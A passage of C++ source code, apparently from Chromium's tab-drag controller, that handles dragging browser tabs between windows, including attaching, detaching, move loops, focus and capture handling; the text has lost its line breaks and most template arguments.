drag_data_.resize(dragging_views.size()); for (size_t i = 0; i < dragging_views.size(); ++i) InitDragData(dragging_views[i], &(drag_data_[i])); source_view_index_ = std::find(dragging_views.begin(), dragging_views.end(), source_view) - dragging_views.begin(); // Listen for Esc key presses. key_event_tracker_ = std::make_unique( base::BindOnce(&TabDragController::EndDrag, base::Unretained(this), END_DRAG_COMPLETE), base::BindOnce(&TabDragController::EndDrag, base::Unretained(this), END_DRAG_CANCEL), source_context_->AsView()->GetWidget()->GetNativeWindow()); if (source_view->width() > 0) { offset_to_width_ratio_ = float{source_view->GetMirroredXInView(source_view_offset)} / float{source_view->width()}; } InitWindowCreatePoint(); initial_selection_model_ = std::move(initial_selection_model); // Gestures don't automatically do a capture. We don't allow multiple drags at // the same time, so we explicitly capture. if (event_source == EVENT_SOURCE_TOUCH) { // Taking capture may cause capture to be lost, ending the drag and // destroying |this|. base::WeakPtr ref(weak_factory_.GetWeakPtr()); SetCapture(source_context_); if (!ref) return; } window_finder_ = std::make_unique(); } // static bool TabDragController::IsAttachedTo(const TabDragContext* context) { return (g_tab_drag_controller && g_tab_drag_controller->active() && g_tab_drag_controller->attached_context() == context); } // static bool TabDragController::IsActive() { return g_tab_drag_controller && g_tab_drag_controller->active(); } // static TabDragContext* TabDragController::GetSourceContext() { return g_tab_drag_controller ? g_tab_drag_controller->source_context_ : nullptr; } void TabDragController::SetMoveBehavior(MoveBehavior behavior) { if (current_state_ == DragState::kNotStarted) move_behavior_ = behavior; } bool TabDragController::IsDraggingTab(content::WebContents* contents) { for (auto& drag_data : drag_data_) { if (drag_data.contents == contents) return true; } return false; } void TabDragController::Drag(const gfx::Point& point_in_screen) { TRACE_EVENT1("views", "TabDragController::Drag", "point_in_screen", point_in_screen.ToString()); bring_to_front_timer_.Stop(); move_stacked_timer_.Stop(); if (current_state_ == DragState::kWaitingToDragTabs || current_state_ == DragState::kWaitingToStop || current_state_ == DragState::kStopped) return; if (current_state_ == DragState::kNotStarted) { if (!CanStartDrag(point_in_screen)) return; // User hasn't dragged far enough yet. // On windows SaveFocus() may trigger a capture lost, which destroys us. { base::WeakPtr ref(weak_factory_.GetWeakPtr()); SaveFocus(); if (!ref) return; } current_state_ = DragState::kDraggingTabs; Attach(source_context_, gfx::Point()); if (num_dragging_tabs() == source_context_->GetTabStripModel()->count()) { views::Widget* widget = GetAttachedBrowserWidget(); gfx::Rect new_bounds; gfx::Vector2d drag_offset; if (was_source_maximized_ || was_source_fullscreen_) { did_restore_window_ = true; // When all tabs in a maximized browser are dragged the browser gets // restored during the drag and maximized back when the drag ends. const int tab_area_width = attached_context_->GetTabDragAreaWidth(); std::vector drag_bounds = attached_context_->CalculateBoundsForDraggedViews(attached_views_); OffsetX(GetAttachedDragPoint(point_in_screen).x(), &drag_bounds); new_bounds = CalculateDraggedBrowserBounds( source_context_, point_in_screen, &drag_bounds); new_bounds.Offset(-widget->GetRestoredBounds().x() + point_in_screen.x() - mouse_offset_.x(), 0); widget->SetVisibilityChangedAnimationsEnabled(false); widget->Restore(); widget->SetBounds(new_bounds); drag_offset = GetWindowOffset(point_in_screen); AdjustBrowserAndTabBoundsForDrag(tab_area_width, point_in_screen, &drag_offset, &drag_bounds); widget->SetVisibilityChangedAnimationsEnabled(true); } else { new_bounds = CalculateNonMaximizedDraggedBrowserBounds(widget, point_in_screen); widget->SetBounds(new_bounds); drag_offset = GetWindowOffset(point_in_screen); } #if BUILDFLAG(IS_CHROMEOS_ASH) StoreCurrentDraggedBrowserBoundsInTabletMode(widget->GetNativeWindow(), new_bounds); #endif RunMoveLoop(drag_offset); return; } } if (ContinueDragging(point_in_screen) == Liveness::DELETED) return; } void TabDragController::EndDrag(EndDragReason reason) { TRACE_EVENT0("views", "TabDragController::EndDrag"); // If we're dragging a window ignore capture lost since it'll ultimately // trigger the move loop to end and we'll revert the drag when RunMoveLoop() // finishes. if (reason == END_DRAG_CAPTURE_LOST && current_state_ == DragState::kDraggingWindow) { return; } // If we're dragging a window, end the move loop, returning control to // RunMoveLoop() which will end the drag. if (current_state_ == DragState::kDraggingWindow) { current_state_ = DragState::kWaitingToStop; GetAttachedBrowserWidget()->EndMoveLoop(); return; } #if BUILDFLAG(IS_CHROMEOS_ASH) // It's possible that in Chrome OS we defer the windows that are showing in // overview to attach into during dragging. If so we need to attach the // dragged tabs to it first. if (reason == END_DRAG_COMPLETE && deferred_target_context_observer_) PerformDeferredAttach(); // It's also possible that we need to merge the dragged tabs back into the // source window even if the dragged tabs is dragged away from the source // window. if (source_context_ && GetWindowForTabDraggingProperties(source_context_) ->GetProperty(ash::kIsDeferredTabDraggingTargetWindowKey)) { GetWindowForTabDraggingProperties(source_context_) ->ClearProperty(ash::kIsDeferredTabDraggingTargetWindowKey); reason = END_DRAG_CANCEL; } #endif EndDragImpl(reason != END_DRAG_COMPLETE && source_context_ ? CANCELED : NORMAL); } void TabDragController::InitDragData(TabSlotView* view, TabDragData* drag_data) { TRACE_EVENT0("views", "TabDragController::InitDragData"); const int source_model_index = source_context_->GetIndexOf(view); drag_data->source_model_index = source_model_index; if (source_model_index != TabStripModel::kNoTab) { drag_data->contents = source_context_->GetTabStripModel()->GetWebContentsAt( drag_data->source_model_index); drag_data->pinned = source_context_->IsTabPinned(static_cast(view)); } base::Optional tab_group_id = view->group(); if (tab_group_id.has_value()) { drag_data->tab_group_data = TabDragData::TabGroupData{ tab_group_id.value(), *source_context_->GetTabStripModel() ->group_model() ->GetTabGroup(tab_group_id.value()) ->visual_data()}; } } void TabDragController::OnWidgetBoundsChanged(views::Widget* widget, const gfx::Rect& new_bounds) { TRACE_EVENT1("views", "TabDragController::OnWidgetBoundsChanged", "new_bounds", new_bounds.ToString()); // Detaching and attaching can be suppresed temporarily to suppress attaching // to incorrect window on changing bounds. We should prevent Drag() itself, // otherwise it can clear deferred attaching tab. if (!CanDetachFromTabStrip(attached_context_)) return; #if defined(USE_AURA) aura::Env* env = aura::Env::GetInstance(); // WidgetBoundsChanged happens as a step of ending a drag, but Drag() doesn't // have to be called -- GetCursorScreenPoint() may return an incorrect // location in such case and causes a weird effect. See // https://crbug.com/914527 for the details. if (!env->IsMouseButtonDown() && !env->is_touch_down()) return; #endif Drag(GetCursorScreenPoint()); } void TabDragController::OnWidgetDestroyed(views::Widget* widget) { widget_observation_.Reset(); } void TabDragController::OnSourceTabStripEmpty() { // NULL out source_context_ so that we don't attempt to add back to it (in // the case of a revert). source_context_ = nullptr; #if BUILDFLAG(IS_CHROMEOS_ASH) // Also update the source window info for the current dragged window. if (attached_context_) { GetWindowForTabDraggingProperties(attached_context_) ->ClearProperty(ash::kTabDraggingSourceWindowKey); } #endif } void TabDragController::OnActiveStripWebContentsRemoved( content::WebContents* contents) { // Mark closed tabs as destroyed so we don't try to manipulate them later. for (auto it = drag_data_.begin(); it != drag_data_.end(); it++) { if (it->contents == contents) { it->contents = nullptr; break; } } } /////////////////////////////////////////////////////////////////////////////// // TabDragController, private: void TabDragController::InitWindowCreatePoint() { // window_create_point_ is only used in CompleteDrag() (through // GetWindowCreatePoint() to get the start point of the docked window) when // the attached_context_ is NULL and all the window's related bound // information are obtained from source_context_. So, we need to get the // first_tab based on source_context_, not attached_context_. Otherwise, // the window_create_point_ is not in the correct coordinate system. Please // refer to http://crbug.com/6223 comment #15 for detailed information. views::View* first_tab = source_context_->GetTabAt(0); views::View::ConvertPointToWidget(first_tab, &first_source_tab_point_); window_create_point_ = first_source_tab_point_; window_create_point_.Offset(mouse_offset_.x(), mouse_offset_.y()); } gfx::Point TabDragController::GetWindowCreatePoint( const gfx::Point& origin) const { // If the cursor is outside the monitor area, move it inside. For example, // dropping a tab onto the task bar on Windows produces this situation. gfx::Rect work_area = display::Screen::GetScreen()->GetDisplayNearestPoint(origin).work_area(); gfx::Point create_point(origin); if (!work_area.IsEmpty()) { if (create_point.x() < work_area.x()) create_point.set_x(work_area.x()); else if (create_point.x() > work_area.right()) create_point.set_x(work_area.right()); if (create_point.y() < work_area.y()) create_point.set_y(work_area.y()); else if (create_point.y() > work_area.bottom()) create_point.set_y(work_area.bottom()); } return gfx::Point(create_point.x() - window_create_point_.x(), create_point.y() - window_create_point_.y()); } void TabDragController::SaveFocus() { DCHECK(source_context_); old_focused_view_tracker_->SetView( source_context_->AsView()->GetFocusManager()->GetFocusedView()); source_context_->AsView()->GetFocusManager()->ClearFocus(); // WARNING: we may have been deleted. } void TabDragController::RestoreFocus() { if (attached_context_ != source_context_) { if (is_dragging_new_browser_) { content::WebContents* active_contents = source_dragged_contents(); if (active_contents && !active_contents->FocusLocationBarByDefault()) active_contents->Focus(); } return; } views::View* old_focused_view = old_focused_view_tracker_->view(); if (!old_focused_view) return; old_focused_view->GetFocusManager()->SetFocusedView(old_focused_view); } bool TabDragController::CanStartDrag(const gfx::Point& point_in_screen) const { // Determine if the mouse has moved beyond a minimum elasticity distance in // any direction from the starting point. static const int kMinimumDragDistance = 10; int x_offset = abs(point_in_screen.x() - start_point_in_screen_.x()); int y_offset = abs(point_in_screen.y() - start_point_in_screen_.y()); return sqrt(pow(float{x_offset}, 2) + pow(float{y_offset}, 2)) > kMinimumDragDistance; } TabDragController::Liveness TabDragController::ContinueDragging( const gfx::Point& point_in_screen) { TRACE_EVENT1("views", "TabDragController::ContinueDragging", "point_in_screen", point_in_screen.ToString()); DCHECK(attached_context_); TabDragContext* target_context = source_context_; if (detach_behavior_ == DETACHABLE && GetTargetTabStripForPoint(point_in_screen, &target_context) == Liveness::DELETED) { return Liveness::DELETED; } // The dragged tabs may not be able to attach into |target_context| during // dragging if the window accociated with |target_context| is currently // showing in overview mode in Chrome OS, in this case we defer attaching into // it till the drag ends and reset |target_context| here. if (ShouldAttachOnEnd(target_context)) { SetDeferredTargetTabstrip(target_context); target_context = current_state_ == DragState::kDraggingWindow ? attached_context_ : nullptr; } else { SetDeferredTargetTabstrip(nullptr); } bool tab_strip_changed = (target_context != attached_context_); if (attached_context_) { int move_delta = point_in_screen.x() - last_point_in_screen_.x(); if (move_delta > 0) mouse_has_ever_moved_right_ = true; else if (move_delta < 0) mouse_has_ever_moved_left_ = true; } last_point_in_screen_ = point_in_screen; if (tab_strip_changed) { is_dragging_new_browser_ = false; did_restore_window_ = false; if (DragBrowserToNewTabStrip(target_context, point_in_screen) == DRAG_BROWSER_RESULT_STOP) { return Liveness::ALIVE; } } if (current_state_ == DragState::kDraggingWindow) { bring_to_front_timer_.Start( FROM_HERE, base::TimeDelta::FromMilliseconds(750), base::BindOnce(&TabDragController::BringWindowUnderPointToFront, base::Unretained(this), point_in_screen)); } if (current_state_ == DragState::kDraggingTabs) { if (move_only()) { DragActiveTabStacked(point_in_screen); } else { MoveAttached(point_in_screen, false); if (tab_strip_changed) { // Move the corresponding window to the front. We do this after the // move as on windows activate triggers a synchronous paint. attached_context_->AsView()->GetWidget()->Activate(); } } } return Liveness::ALIVE; } TabDragController::DragBrowserResultType TabDragController::DragBrowserToNewTabStrip(TabDragContext* target_context, const gfx::Point& point_in_screen) { TRACE_EVENT1("views", "TabDragController::DragBrowserToNewTabStrip", "point_in_screen", point_in_screen.ToString()); if (!target_context) { DetachIntoNewBrowserAndRunMoveLoop(point_in_screen); return DRAG_BROWSER_RESULT_STOP; } #if defined(USE_AURA) // Only Aura windows are gesture consumers. gfx::NativeView attached_native_view = GetAttachedBrowserWidget()->GetNativeView(); GetAttachedBrowserWidget()->GetGestureRecognizer()->TransferEventsTo( attached_native_view, target_context->AsView()->GetWidget()->GetNativeView(), ui::TransferTouchesBehavior::kDontCancel); #endif if (current_state_ == DragState::kDraggingWindow) { // ReleaseCapture() is going to result in calling back to us (because it // results in a move). That'll cause all sorts of problems. Reset the // observer so we don't get notified and process the event. #if BUILDFLAG(IS_CHROMEOS_ASH) widget_observation_.Reset(); move_loop_widget_ = nullptr; #endif // BUILDFLAG(IS_CHROMEOS_ASH) views::Widget* browser_widget = GetAttachedBrowserWidget(); // Need to release the drag controller before starting the move loop as it's // going to trigger capture lost, which cancels drag. attached_context_->ReleaseDragController(); target_context->OwnDragController(this); // Disable animations so that we don't see a close animation on aero. browser_widget->SetVisibilityChangedAnimationsEnabled(false); if (can_release_capture_) browser_widget->ReleaseCapture(); else SetCapture(target_context); // TODO(crbug.com/1052397): Revisit the macro expression once build flag switch // of lacros-chrome is complete. #if !(defined(OS_LINUX) || BUILDFLAG(IS_CHROMEOS_LACROS)) // EndMoveLoop is going to snap the window back to its original location. // Hide it so users don't see this. Hiding a window in Linux aura causes // it to lose capture so skip it. browser_widget->Hide(); #endif browser_widget->EndMoveLoop(); // Ideally we would always swap the tabs now, but on non-ash Windows, it // seems that running the move loop implicitly activates the window when // done, leading to all sorts of flicker. So, on non-ash Windows, instead // we process the move after the loop completes. But on chromeos, we can // do tab swapping now to avoid the tab flashing issue // (crbug.com/116329). if (can_release_capture_) { tab_strip_to_attach_to_after_exit_ = target_context; current_state_ = DragState::kWaitingToDragTabs; } else { Detach(DONT_RELEASE_CAPTURE); Attach(target_context, point_in_screen); current_state_ = DragState::kDraggingTabs; // Move the tabs into position. MoveAttached(point_in_screen, true); attached_context_->AsView()->GetWidget()->Activate(); } return DRAG_BROWSER_RESULT_STOP; } Detach(DONT_RELEASE_CAPTURE); Attach(target_context, point_in_screen); MoveAttached(point_in_screen, true); return DRAG_BROWSER_RESULT_CONTINUE; } void TabDragController::DragActiveTabStacked( const gfx::Point& point_in_screen) { if (attached_context_->GetTabCount() != int{initial_tab_positions_.size()}) return; // TODO: should cancel drag if this happens. int delta = point_in_screen.x() - start_point_in_screen_.x(); attached_context_->DragActiveTabStacked(initial_tab_positions_, delta); } void TabDragController::MoveAttachedToNextStackedIndex( const gfx::Point& point_in_screen) { int index = *attached_context_->GetActiveTouchIndex(); if (index + 1 >= attached_context_->GetTabCount()) return; attached_context_->GetTabStripModel()->MoveSelectedTabsTo(index + 1); StartMoveStackedTimerIfNecessary(point_in_screen, kMoveAttachedSubsequentDelay); } void TabDragController::MoveAttachedToPreviousStackedIndex( const gfx::Point& point_in_screen) { int index = *attached_context_->GetActiveTouchIndex(); if (index <= attached_context_->GetPinnedTabCount()) return; attached_context_->GetTabStripModel()->MoveSelectedTabsTo(index - 1); StartMoveStackedTimerIfNecessary(point_in_screen, kMoveAttachedSubsequentDelay); } void TabDragController::MoveAttached(const gfx::Point& point_in_screen, bool just_attached) { DCHECK(attached_context_); DCHECK_EQ(current_state_, DragState::kDraggingTabs); gfx::Point dragged_view_point = GetAttachedDragPoint(point_in_screen); const int threshold = attached_context_->GetHorizontalDragThreshold(); std::vector views(drag_data_.size()); for (size_t i = 0; i < drag_data_.size(); ++i) views[i] = drag_data_[i].attached_view; bool did_layout = false; // Update the model, moving the WebContents from one index to another. Do this // only if we have moved a minimum distance since the last reorder (to prevent // jitter), or if this the first move and the tabs are not consecutive, or if // we have just attached to a new tabstrip and need to move to the correct // initial position. if (just_attached || (abs(point_in_screen.x() - last_move_screen_loc_) > threshold) || (initial_move_ && !AreTabsConsecutive())) { TabStripModel* attached_model = attached_context_->GetTabStripModel(); int to_index = attached_context_->GetInsertionIndexForDraggedBounds( GetDraggedViewTabStripBounds(dragged_view_point), GetViewsMatchingDraggedContents(attached_context_), num_dragging_tabs(), mouse_has_ever_moved_left_, mouse_has_ever_moved_right_, group_); bool do_move = true; // While dragging within a tabstrip the expectation is the insertion index // is based on the left edge of the tabs being dragged. OTOH when dragging // into a new tabstrip (attaching) the expectation is the insertion index is // based on the cursor. This proves problematic as insertion may change the // size of the tabs, resulting in the index calculated before the insert // differing from the index calculated after the insert. To alleviate this // the index is chosen before insertion, and subsequently a new index is // only used once the mouse moves enough such that the index changes based // on the direction the mouse moved relative to |attach_x_| (smaller // x-coordinate should yield a smaller index or larger x-coordinate yields a // larger index). if (attach_index_ != -1) { gfx::Point tab_strip_point(point_in_screen); views::View::ConvertPointFromScreen(attached_context_->AsView(), &tab_strip_point); const int new_x = attached_context_->AsView()->GetMirroredXInView(tab_strip_point.x()); if (new_x < attach_x_) to_index = std::min(to_index, attach_index_); else to_index = std::max(to_index, attach_index_); if (to_index != attach_index_) attach_index_ = -1; // Once a valid move is detected, don't constrain. else do_move = false; } if (do_move) { WebContents* last_contents = drag_data_.back().contents; int index_of_last_item = attached_model->GetIndexOfWebContents(last_contents); if (initial_move_) { // TabDragContext determines if the tabs needs to be animated // based on model position. This means we need to invoke // LayoutDraggedTabsAt before changing the model. attached_context_->LayoutDraggedViewsAt( views, source_view_drag_data()->attached_view, dragged_view_point, initial_move_); did_layout = true; } attached_model->MoveSelectedTabsTo(to_index); if (header_drag_) { attached_model->MoveTabGroup(group_.value()); } else { UpdateGroupForDraggedTabs(); } // Move may do nothing in certain situations (such as when dragging pinned // tabs). Make sure the tabstrip actually changed before updating // last_move_screen_loc_. if (index_of_last_item != attached_model->GetIndexOfWebContents(last_contents)) { last_move_screen_loc_ = point_in_screen.x(); } } } if (!did_layout) { attached_context_->LayoutDraggedViewsAt( views, source_view_drag_data()->attached_view, dragged_view_point, initial_move_); } StartMoveStackedTimerIfNecessary(point_in_screen, kMoveAttachedInitialDelay); initial_move_ = false; } void TabDragController::StartMoveStackedTimerIfNecessary( const gfx::Point& point_in_screen, base::TimeDelta delay) { DCHECK(attached_context_); base::Optional touch_index = attached_context_->GetActiveTouchIndex(); if (!touch_index) return; gfx::Point dragged_view_point = GetAttachedDragPoint(point_in_screen); gfx::Rect bounds = GetDraggedViewTabStripBounds(dragged_view_point); if (attached_context_->ShouldDragToNextStackedTab( bounds, *touch_index, mouse_has_ever_moved_right_)) { move_stacked_timer_.Start( FROM_HERE, delay, base::BindOnce(&TabDragController::MoveAttachedToNextStackedIndex, base::Unretained(this), point_in_screen)); } else if (attached_context_->ShouldDragToPreviousStackedTab( bounds, *touch_index, mouse_has_ever_moved_left_)) { move_stacked_timer_.Start( FROM_HERE, delay, base::BindOnce(&TabDragController::MoveAttachedToPreviousStackedIndex, base::Unretained(this), point_in_screen)); } } TabDragController::DetachPosition TabDragController::GetDetachPosition( const gfx::Point& point_in_screen) { DCHECK(attached_context_); gfx::Point attached_point(point_in_screen); views::View::ConvertPointFromScreen(attached_context_->AsView(), &attached_point); if (attached_point.x() < attached_context_->TabDragAreaBeginX()) return DETACH_BEFORE; if (attached_point.x() >= attached_context_->TabDragAreaEndX()) return DETACH_AFTER; return DETACH_ABOVE_OR_BELOW; } TabDragController::Liveness TabDragController::GetTargetTabStripForPoint( const gfx::Point& point_in_screen, TabDragContext** context) { *context = nullptr; TRACE_EVENT1("views", "TabDragController::GetTargetTabStripForPoint", "point_in_screen", point_in_screen.ToString()); if (move_only() && attached_context_) { // move_only() is intended for touch, in which case we only want to detach // if the touch point moves significantly in the vertical distance. gfx::Rect tabstrip_bounds = GetTabstripScreenBounds(attached_context_); if (DoesRectContainVerticalPointExpanded(tabstrip_bounds, kTouchVerticalDetachMagnetism, point_in_screen.y())) { *context = attached_context_; return Liveness::ALIVE; } } gfx::NativeWindow local_window; const Liveness state = GetLocalProcessWindow( point_in_screen, current_state_ == DragState::kDraggingWindow, &local_window); if (state == Liveness::DELETED) return Liveness::DELETED; if (local_window && CanAttachTo(local_window)) { TabDragContext* destination_tab_strip = BrowserView::GetBrowserViewForNativeWindow(local_window) ->tabstrip() ->GetDragContext(); if (ShouldAttachOnEnd(destination_tab_strip)) { // No need to check if the specified screen point is within the bounds of // the tabstrip as arriving here we know that the window is currently // showing in overview mode in Chrome OS and its bounds contain the // specified screen point, and these two conditions are enough for a // window to be a valid target window to attach the dragged tabs. *context = destination_tab_strip; return Liveness::ALIVE; } else if (destination_tab_strip && DoesTabStripContain(destination_tab_strip, point_in_screen)) { *context = destination_tab_strip; return Liveness::ALIVE; } } *context = current_state_ == DragState::kDraggingWindow ? attached_context_ : nullptr; return Liveness::ALIVE; } bool TabDragController::DoesTabStripContain( TabDragContext* context, const gfx::Point& point_in_screen) const { // Make sure the specified screen point is actually within the bounds of the // specified context... gfx::Rect tabstrip_bounds = GetTabstripScreenBounds(context); const int x_in_strip = point_in_screen.x() - tabstrip_bounds.x(); return (x_in_strip >= context->TabDragAreaBeginX()) && (x_in_strip < context->TabDragAreaEndX()) && DoesRectContainVerticalPointExpanded( tabstrip_bounds, kVerticalDetachMagnetism, point_in_screen.y()); } void TabDragController::Attach(TabDragContext* attached_context, const gfx::Point& point_in_screen, bool set_capture) { TRACE_EVENT1("views", "TabDragController::Attach", "point_in_screen", point_in_screen.ToString()); DCHECK(!attached_context_); // We should already have detached by the time // we get here. attached_context_ = attached_context; std::vector views = GetViewsMatchingDraggedContents(attached_context_); if (views.empty()) { // Transitioning from detached to attached to a new context. Add tabs to // the new model. selection_model_before_attach_ = attached_context->GetTabStripModel()->selection_model(); // Register a new group if necessary, so that the insertion index in the // tab strip can be calculated based on the group membership of tabs. if (header_drag_) { attached_context_->GetTabStripModel()->group_model()->AddTabGroup( group_.value(), source_view_drag_data()->tab_group_data.value().group_visual_data); } // Insert at the beginning of the tabstrip. We'll fix up the insertion // index in MoveAttached() later. int index = 0; attach_index_ = index; gfx::Point tab_strip_point(point_in_screen); views::View::ConvertPointFromScreen(attached_context_->AsView(), &tab_strip_point); tab_strip_point.set_x( attached_context_->AsView()->GetMirroredXInView(tab_strip_point.x())); tab_strip_point.Offset(0, -mouse_offset_.y()); attach_x_ = tab_strip_point.x(); base::AutoReset setter(&is_mutating_, true); for (size_t i = first_tab_index(); i < drag_data_.size(); ++i) { int add_types = TabStripModel::ADD_NONE; if (attached_context_->GetActiveTouchIndex()) { // StackedTabStripLayout positions relative to the active tab, if we // don't add the tab as active things bounce around. DCHECK_EQ(1u, drag_data_.size()); add_types |= TabStripModel::ADD_ACTIVE; } if (drag_data_[i].pinned) add_types |= TabStripModel::ADD_PINNED; // We should have owned_contents here, this CHECK is used to gather data // for https://crbug.com/677806. CHECK(drag_data_[i].owned_contents); attached_context_->GetTabStripModel()->InsertWebContentsAt( index + i - first_tab_index(), std::move(drag_data_[i].owned_contents), add_types, group_); // If a sad tab is showing, the SadTabView needs to be updated. SadTabHelper* sad_tab_helper = SadTabHelper::FromWebContents(drag_data_[i].contents); if (sad_tab_helper) sad_tab_helper->ReinstallInWebView(); } views = GetViewsMatchingDraggedContents(attached_context_); } DCHECK_EQ(views.size(), drag_data_.size()); for (size_t i = 0; i < drag_data_.size(); ++i) { drag_data_[i].attached_view = views[i]; attached_views_.push_back(views[i]); } ResetSelection(attached_context_->GetTabStripModel()); // This should be called after ResetSelection() in order to generate // bounds correctly. http://crbug.com/836004 attached_context_->StartedDragging(views); // The size of the dragged tab may have changed. Adjust the x offset so that // ratio of mouse_offset_ to original width is maintained. std::vector tabs_to_source(views); tabs_to_source.erase(tabs_to_source.begin() + source_view_index_ + 1, tabs_to_source.end()); int new_x = TabStrip::GetSizeNeededForViews(tabs_to_source) - views[source_view_index_]->width() + base::ClampRound(offset_to_width_ratio_ * views[source_view_index_]->width()); mouse_offset_.set_x(new_x); // Transfer ownership of us to the new tabstrip as well as making sure the // window has capture. This is important so that if activation changes the // drag isn't prematurely canceled. if (set_capture) SetCapture(attached_context_); attached_context_->OwnDragController(this); SetTabDraggingInfo(); attached_context_tabs_closed_tracker_ = std::make_unique( attached_context_->GetTabStripModel(), this); if (attach_index_ != -1 && !header_drag_) UpdateGroupForDraggedTabs(); } void TabDragController::Detach(ReleaseCapture release_capture) { TRACE_EVENT1("views", "TabDragController::Detach", "release_capture", release_capture); attached_context_tabs_closed_tracker_.reset(); attach_index_ = -1; // When the user detaches we assume they want to reorder. move_behavior_ = REORDER; // Release ownership of the drag controller and mouse capture. When we // reattach ownership is transfered. attached_context_->ReleaseDragController(); if (release_capture == RELEASE_CAPTURE) attached_context_->AsView()->GetWidget()->ReleaseCapture(); mouse_has_ever_moved_left_ = true; mouse_has_ever_moved_right_ = true; TabStripModel* attached_model = attached_context_->GetTabStripModel(); std::vector tab_data; for (size_t i = first_tab_index(); i < drag_data_.size(); ++i) { tab_data.push_back(static_cast(drag_data_[i].attached_view)->data()); int index = attached_model->GetIndexOfWebContents(drag_data_[i].contents); DCHECK_NE(-1, index); // Hide the tab so that the user doesn't see it animate closed. drag_data_[i].attached_view->SetVisible(false); drag_data_[i].attached_view->set_detached(); drag_data_[i].owned_contents = attached_model->DetachWebContentsAt(index); // Detaching may end up deleting the tab, drop references to it. drag_data_[i].attached_view = nullptr; } if (header_drag_) source_view_drag_data()->attached_view = nullptr; // If we've removed the last Tab from the TabDragContext, hide the // frame now. if (!attached_model->empty()) { if (!selection_model_before_attach_.empty() && selection_model_before_attach_.active() >= 0 && selection_model_before_attach_.active() < attached_model->count()) { // Restore the selection. attached_model->SetSelectionFromModel(selection_model_before_attach_); } else if (attached_context_ == source_context_ && !initial_selection_model_.empty()) { RestoreInitialSelection(); } } ClearTabDraggingInfo(); attached_context_->DraggedTabsDetached(); attached_context_ = nullptr; attached_views_.clear(); } void TabDragController::DetachIntoNewBrowserAndRunMoveLoop( const gfx::Point& point_in_screen) { if (attached_context_->GetTabStripModel()->count() == num_dragging_tabs()) { // All the tabs in a browser are being dragged but all the tabs weren't // initially being dragged. For this to happen the user would have to // start dragging a set of tabs, the other tabs close, then detach. RunMoveLoop(GetWindowOffset(point_in_screen)); return; } const int tab_area_width = attached_context_->GetTabDragAreaWidth(); std::vector drag_bounds = attached_context_->CalculateBoundsForDraggedViews(attached_views_); OffsetX(GetAttachedDragPoint(point_in_screen).x(), &drag_bounds); gfx::Vector2d drag_offset; Browser* browser = CreateBrowserForDrag(attached_context_, point_in_screen, &drag_offset, &drag_bounds); BrowserView* dragged_browser_view = BrowserView::GetBrowserViewForBrowser(browser); views::Widget* dragged_widget = dragged_browser_view->GetWidget(); #if defined(USE_AURA) // Only Aura windows are gesture consumers. views::Widget* attached_widget = attached_context_->AsView()->GetWidget(); // Unlike DragBrowserToNewTabStrip, this does not have to special-handle // IsUsingWindowServices(), since DesktopWIndowTreeHostMus takes care of it. attached_widget->GetGestureRecognizer()->TransferEventsTo( attached_widget->GetNativeView(), dragged_widget->GetNativeView(), ui::TransferTouchesBehavior::kDontCancel); #endif #if BUILDFLAG(IS_CHROMEOS_ASH) // On ChromeOS, Detach should release capture; |can_release_capture_| is // false on ChromeOS because it can cancel touches, but for this cases // the touches are already transferred, so releasing is fine. Without // releasing, the capture remains and further touch events can be sent to a // wrong target. Detach(RELEASE_CAPTURE); #else Detach(can_release_capture_ ? RELEASE_CAPTURE : DONT_RELEASE_CAPTURE); #endif dragged_widget->SetCanAppearInExistingFullscreenSpaces(true); dragged_widget->SetVisibilityChangedAnimationsEnabled(false); Attach(dragged_browser_view->tabstrip()->GetDragContext(), gfx::Point()); AdjustBrowserAndTabBoundsForDrag(tab_area_width, point_in_screen, &drag_offset, &drag_bounds); browser->window()->Show(); dragged_widget->SetVisibilityChangedAnimationsEnabled(true); // Activate may trigger a focus loss, destroying us. { base::WeakPtr ref(weak_factory_.GetWeakPtr()); browser->window()->Activate(); if (!ref) return; } RunMoveLoop(drag_offset); } void TabDragController::RunMoveLoop(const gfx::Vector2d& drag_offset) { // If the user drags the whole window we'll assume they are going to attach to // another window and therefore want to reorder. move_behavior_ = REORDER; move_loop_widget_ = GetAttachedBrowserWidget(); DCHECK(move_loop_widget_); // RunMoveLoop can be called reentrantly from within another RunMoveLoop, // in which case the observation is already established. widget_observation_.Reset(); widget_observation_.Observe(move_loop_widget_); current_state_ = DragState::kDraggingWindow; base::WeakPtr ref(weak_factory_.GetWeakPtr()); if (can_release_capture_) { // Running the move loop releases mouse capture, which triggers destroying // the drag loop. Release mouse capture now while the DragController is not // owned by the TabDragContext. attached_context_->ReleaseDragController(); attached_context_->AsView()->GetWidget()->ReleaseCapture(); attached_context_->OwnDragController(this); } const views::Widget::MoveLoopSource move_loop_source = event_source_ == EVENT_SOURCE_MOUSE ? views::Widget::MoveLoopSource::kMouse : views::Widget::MoveLoopSource::kTouch; const views::Widget::MoveLoopEscapeBehavior escape_behavior = is_dragging_new_browser_ ? views::Widget::MoveLoopEscapeBehavior::kHide : views::Widget::MoveLoopEscapeBehavior::kDontHide; views::Widget::MoveLoopResult result = move_loop_widget_->RunMoveLoop( drag_offset, move_loop_source, escape_behavior); content::NotificationService::current()->Notify( chrome::NOTIFICATION_TAB_DRAG_LOOP_DONE, content::NotificationService::AllBrowserContextsAndSources(), content::NotificationService::NoDetails()); if (!ref) return; if (move_loop_widget_ && widget_observation_.IsObservingSource(move_loop_widget_)) { widget_observation_.Reset(); } move_loop_widget_ = nullptr; if (current_state_ == DragState::kDraggingWindow) { current_state_ = DragState::kWaitingToStop; } if (current_state_ == DragState::kWaitingToDragTabs) { DCHECK(tab_strip_to_attach_to_after_exit_); gfx::Point point_in_screen(GetCursorScreenPoint()); Detach(DONT_RELEASE_CAPTURE); Attach(tab_strip_to_attach_to_after_exit_, point_in_screen); current_state_ = DragState::kDraggingTabs; // Move the tabs into position. MoveAttached(point_in_screen, true); attached_context_->AsView()->GetWidget()->Activate(); // Activate may trigger a focus loss, destroying us. if (!ref) return; tab_strip_to_attach_to_after_exit_ = nullptr; } else if (current_state_ == DragState::kWaitingToStop) { EndDrag(result == views::Widget::MOVE_LOOP_CANCELED ? END_DRAG_CANCEL : END_DRAG_COMPLETE); } } gfx::Rect TabDragController::GetDraggedViewTabStripBounds( const gfx::Point& tab_strip_point) { // attached_view is null when inserting into a new context. if (source_view_drag_data()->attached_view) { std::vector all_bounds = attached_context_->CalculateBoundsForDraggedViews(attached_views_); int total_width = all_bounds.back().right() - all_bounds.front().x(); return gfx::Rect(tab_strip_point.x(), tab_strip_point.y(), total_width, source_view_drag_data()->attached_view->height()); } return gfx::Rect(tab_strip_point.x(), tab_strip_point.y(), 